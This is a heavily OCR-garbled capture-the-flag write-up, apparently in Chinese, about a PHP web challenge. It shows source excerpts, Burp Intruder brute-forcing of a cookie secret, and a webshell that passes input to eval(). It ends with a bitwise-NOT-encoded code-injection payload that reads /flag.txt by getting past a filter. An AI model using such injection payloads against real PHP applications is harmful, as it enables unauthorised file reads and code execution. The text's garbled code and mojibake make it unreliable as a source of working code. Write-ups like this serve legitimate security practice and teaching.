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HATLER, KAXRBELR
® <!--flag is in /flag.txt-->

® <a href="./?view_source'

25 position: absolute;

26

27 marzin: 0;

28 width: 100%;

29 flex-direction: column;

30 }

31 # {margin: Opx; padding:Opx;}

32 .botCenter fwidth:100%; height:36px; line-height:35px; background:#ff£ffff; position:fixed; bottom:Opx; left:Opx; font-size:ldpx; color:#000. te
33 <fstyler

34

35 | </head>

36 | <bodyr

37 | <a href="httpa://gem1 target="_blank”»<div class="botCenter” »@¥NaTL’ Amore</divi</a>
38 | <a href=./fview source target="_blank”»<putton hidden></button>< a>
39 | <div

40 <div class="flexmagic”>

1 <p id="magic”>I prepared a webshell for voudbr>

42 pr

43 <fdivy

a4 | </fdivy

45

45

47 | <fbody>

48 | </html >

49

50 | <!--flag is in fflaz. txt—-

51

AT B R B AR 3 T ~~



error_reporting(9);

include "config.php";

/X ] 1R BT

if (isset( ["view_source'])) {
show_source(__FILE_);

die;

/
function checkCookie($s) {
VIR S v iR s T i
explode(':", );
// M P78 Hi$s BI04 "secret " : " K G FHRLE & 57" }
if ( [0] '{"secret"’ preg match('/~[\"@-9A-Z]*}$/"', [1])
return true;
} else {
[/ HIRI TG F A4 % Ecookie
if ( !theFirstTimeSetCookie() ) setcookie('secret', '', time()-1);
return false;

function haveFun( ) {

32;

md5 ( );//FS_f giEImd5 AR (EZS m_u

strtoupper( );//HS m uXkE

for ( 0; ; ) {
substr( S s 1) ;//F R
ord($_1); //BFEF#H#jasciiiGE
print_r( OxC0);//1100 0000 FFHERZHLOFIH , ITFLIE /K64 HH

}

die;

/UlFcookie FHsecret FERIA(EZ$json T E

["secret']) ['secret'] : setcookie('secret', '{"secret":"' . strtoupper(md5('yln
"}, time()+7200 );

) @json_decode( , true) : die('no');

isset( ['give_me_shell'])) {

["secret'] ) haveFun( : echo "here is your webshell:

AR IRAG & X
B % Mcookied B Hisecret, i3t A checkCookie i %k

i Fsecretfxt B f{E!=$flag_md5ik A\ havefunig 1




B —TF . RIFEsecrety115mHEE B 2
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Host: dc3d8898-f435-4bf5-9293-0aeefbaellea.chall.ctf show

Cache-Control: rmax-age=0

Upgrade-Insecure-Requests: |

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winid; x64) AppleWebkit/537 36 (KHTIL, like Gecko) Chrorme/84.0.4147.105 Safari/537.36
Accept:
text/html.application,xhtrml+xml. applicat
Accept-Encoding: gzip. deflate
( Accept-Language: zh-CHN,zhe=0.9

Cookie: UM _distincti 237 a00edcc-0f2ce2 07 64eee8-3323765-144000-1760e37 a00f7 a7; PHPSESSID=id43tt rmk8tkj ubek3sd7 1ah;
secret={"secret":115]

“| Connection: close

b |

Semlg=09image/webpimage/apng.®/*q=08application/signed-exchangev=b3;q=09

b b 200 ] O 1702

6 6 200 ] O 1702

[ [ 200 ] O 1702

8 8 200 ] O 1702

9 9 200 [ [1 1702
7 [ [ me

[ Raw | 5 | Hex | HTML | Render |

0 =a href="https//gem-love cormn;" target="_blank"> = div class="botCenter"> @I&TL "Amore=
<a href="/Miew_source' target="_blank"> <button hidden> < /button> </a>
dive

' <div dass="flexmagic">

<pid="magic">| prepared a webshell for vou<br=

- here is vour webshell: w3bSHeLLIll123.php </p=
' < fdive

< fdive

i

</bady=
= /htrnl=

L] | o=

<I--flag 15 In /flag.td-->

-
=y

ZJE Vil

HEE: STHARE ©)
) wk | HAEE S (BR O #E [E v R
115 115 200 ] [] 1768 [a]
0 200 ® O 1702 )
1 1 200 O [ 1702
| 2 2 200 O [ 1702
3 3 200 O [ 1702
4 4 200 O [ 1702
5 5 200 O [ 1702
B B 200 O [ 1702
|7 7 200 O [ 1702
| 8 8 200 O [] 1702 A
q q 200 [ [1 4702 ¥
A WGl
J Raw T 8 | & | Hex ]
GET /2give_me shell=115 HTTP/1.1 A




error_reporting(9);

session_start();

/there are some secret waf that you will never know fuzz me if you can

require "hidden_filter.php";

["login'])

if (!isset( ["code'])) {
show_source(__FILE_ );
exit();
} else {
["code'];
if (!preg_match( )) {
// &5 session MLAF
eval("\$_SESSION[" . . "]=false;"); //you know here is your webshell an eval() without any disable
d_function. However eval() for $ SESSION only XDDD you noob hacker
} else die('hacker');

* When you feel that you are lost do not give up fight and move on.

* Being a hacker is not easy it requires effort and sacrifice.

* But remember .. we are legion!
Deep CTF 2620

fuzz—F | T —WRFS $;7F/*8) FHEH T
RIEHILIE ~ A require BEFT LART LLRI A EUR S8
Hi&payload: 1 2 > FF5 0] DA AAE ; AT
?code=]=1?><?=require~%d0%99%93%9e%98%d1%8b%87%8b? >
MRE R &
?code=]=1?><?=require~%d0%99%93%9e%98? >
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